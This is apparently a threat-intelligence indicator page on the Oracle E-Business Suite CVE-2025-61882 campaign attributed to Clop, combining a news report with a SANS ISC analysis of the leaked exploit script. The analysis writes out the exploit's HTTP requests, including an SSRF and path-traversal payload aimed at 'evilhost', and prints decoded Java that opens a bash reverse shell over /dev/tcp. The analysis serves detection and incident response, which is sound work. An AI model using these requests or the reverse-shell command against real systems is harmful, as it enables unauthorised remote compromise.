Search/ieshostedsurvey[.]jsp
● IOC

ieshostedsurvey[.]jsp

View graph Watch Export
Type
DOMAIN
Source
News extraction
First seen
Oct 6, 2025
Last seen
Oct 6, 2025
Look up on VirusTotal
Reported by
1
Quick and Dirty Analysis of Possible Oracle E-Business Suite Exploit Script (CVE-2025-61882), (Mon, Oct 6th)SANS ISCOct 6, 2025
Related Stories
1
Oracle links Clop extortion attacks to July 2025 vulnerabilities
FBI, UK gov’t urge orgs to patch Oracle E-Business vuln after alleged Clop campaign Oracle issued a security alert this weekend urging customers to patch a vulnerability currently being exploited by cybercriminals. Oracle’s security alert said CVE-2025-61882 impacts the Oracle E-Business Suite — a widely-used business platform containing several applications that manage finance, human resources and supply chain functions. Oracle explained that the vulnerability, which carries a severity score of 9.8 out of 10, could be exploited remotely “without the need for a username and password.” Customers need to install patches from an October 2023 update before installing the new patch issued on Saturday. Oracle also shared indicators of compromise that organizations can use to support their efforts to detect and contain potential breaches. FBI Assistant Director Brett Leatherman said “this is ‘stop-what-you’re-doing and patch immediately’ vulnerability.” “The bad guys are likely already exploiting in the wild, and the race is on before others identify and target vulnerable systems,” he said in a Sunday evening post on LinkedIn. “In plain terms: if your [E-Business Suite] environment is reachable on the network, and especially if it’s internet facing, it’s at risk for full compromise.” Leatherman added that Oracle E-Business Suite customers should isolate potentially affected servers and monitor threat intelligence channels because “exploit activity could escalate quickly.” “Oracle EBS remains a backbone ERP system for major enterprises and public-sector environments, which means attackers have every incentive to weaponize this one fast,” he explained. “If you suspect compromise - please connect with us.” Cybersecurity agencies in the U.K. and Singapore published their own advisories with similar guidance. The U.S. Cybersecurity and Infrastructure Security Agency added the bug to its Known Exploited Vulnerabilities catalog and ordered all federal civilian agencies to patch it by October 28. Mandiant chief technology officer Charles Carmakal tied CVE-2025-61882 to a campaign unveiled last week by the cybercriminal group Clop. The group is currently attempting to extort corporate executives by threatening to leak sensitive information they claim was stolen through the Oracle E-Business Suite. Oracle confirmed the campaign but initially said the hackers were exploiting bugs that had been addressed in a July update, without specifying which vulnerabilities were being used. On Sunday, Carmakal said Clop “exploited multiple vulnerabilities in Oracle [E-Business Suite] which enabled them to steal large amounts of data from several victims in August 2025.” “Clop has been sending extortion emails to several victims since last Monday. However, please note they may not have attempted to reach out to all victims yet,” he said. “Multiple vulnerabilities were exploited including vulnerabilities that were patched in Oracle's July 2025 update as well as one that was patched this weekend (CVE-2025-61882).” He added that organizations should “examine whether they were already compromised.” Several other cybersecurity experts confirmed that Clop has been exploiting multiple vulnerabilities in Oracle E-Business Suite since August. Jake Knott, principal security researcher at cybersecurity firm watchTowr, said exploit code for CVE-2025-61882 became public by Monday. Jonathan Greig is a Breaking News Reporter at Recorded Future News. Jonathan has worked across the globe as a journalist since 2014. Before moving back to New York City, he worked for news outlets in South Africa, Jordan and Cambodia. He previously covered cybersecurity at ZDNet and TechRepublic.
1 shared
Oct 10, 2025
Related Indicators
6
domainshutterstock[.]comsame storyhashaa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121same storyhash6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1bsame storyip136[.]0[.]0[.]0same storydomainexp[.]pysame storydomainrunforms[.]jspsame story
Connections
1 relationships
Quick and Dirty Analysis of Possible Oracle E-Business Suite Exploit Script (CVE-2025-61882), (Mon, Oct 6th)
[Update: I added the server part delivering the payload] This weekend, Oracle published a surprise security bulletin announcing an exploited vulnerability in Oracle E-Business Suite. As part of the announcement, which also included a patch, Oracle published IoC observed as part of the incident response [1]. One script I found interesting is what Oracle calls "exp.py" [2]. Here is a quick analysis of the HTTP requests sent by the script. I only ran it against a simple Python web server, not an actual Oracle E-Business Suite install. The script takes two parameters: The URL of the target and the IP/port of a config server. The first request sent by the script: GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1 Host: [target host]:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive The script starts by assuming that the internal host is the same as the target host. If this request results in a redirect, the new internal host will be extracted from the Location header. POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1 Host: [target host]:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive CSRF-XHR: YES FETCH-CSRF-TOKEN: 1 Content-Length: 0 This request will return a CSRF token that is extracted from the body of the response. Finally, the actual exploit request is created: POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive CSRF-XHR: YES FETCH-CSRF-TOKEN: 1 Content-Length: 4324 Content-Type: application/x-www-form-urlencoded These are the headers of the request, which are not very remarkable. The body is a bit more interesting. After URL and HTML entity decoding, the body turns out to be: redirectFromJsp=1 getUiType= ++++ test ++++ http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 Host: evilhost:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: POST / ++++ 0 ++++ 0 ++++ Applet Interesting is the use of the invalid HTTP version 1.2, which may be used to bypass some filters. The stray "POST /" at the end is labeled as "keep alive", and may just be a partial request to keep the connection open a bit longer. Port 7201 is the default non-TLS port for the application server. The URL looks like a path traversal exploit. Given that this is the payload of the last request, the vulnerability is likely best described as a server-side request forgery issue (and it is labeled as such in the script). In short, the exploit does: Verify the hostname name Retrieve a CSRF token sends a request to the app server to use SSRF to connect to an "evilhost" and retrieve instructions? Maybe more about this later. From a detection point of view. The HTTP version 1.2 looks promising. The "evilhost" the script connects to is implemented with a simple Python script, server.py, implementing two paths [3]: GET /OA_HTML/help/../ieshostedsurvey.xsl POST /OA_HTML/help/../ibeCRgpIndividualUser.jsp Both return the same XSLT style sheet: The Base64 encoded part includes the user configurable command to execute: var stringc = java.lang.Class.forName('java.lang.String'); var cmds = java.lang.reflect.Array.newInstance(stringc,3); java.lang.reflect.Array.set(cmds,0,'sh'); java.lang.reflect.Array.set(cmds,1,'-c'); java.lang.reflect.Array.set(cmds,2,'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1'); java.lang.Runtime.getRuntime().exec(cmds); 1 For the Windows version of the exploit, cmd /c is used instead of sh -c. Note that the request referenced in exp.py requests "/OA_HTML/help/../ieshostedsurvey.jsp", not the .xsl stylesheet. I can only guess at this point that there may be a request triggered to translate the .jsp file, which may be related to the SSRF issue. Maybe someone else has a better idea, or more insight into how the app server works. [1] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html [2] https://www.virustotal.com/gui/file/aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121 [3] https://www.virustotal.com/gui/file/6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b/community -- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|
isc.sans.eduOct 6, 2025extracted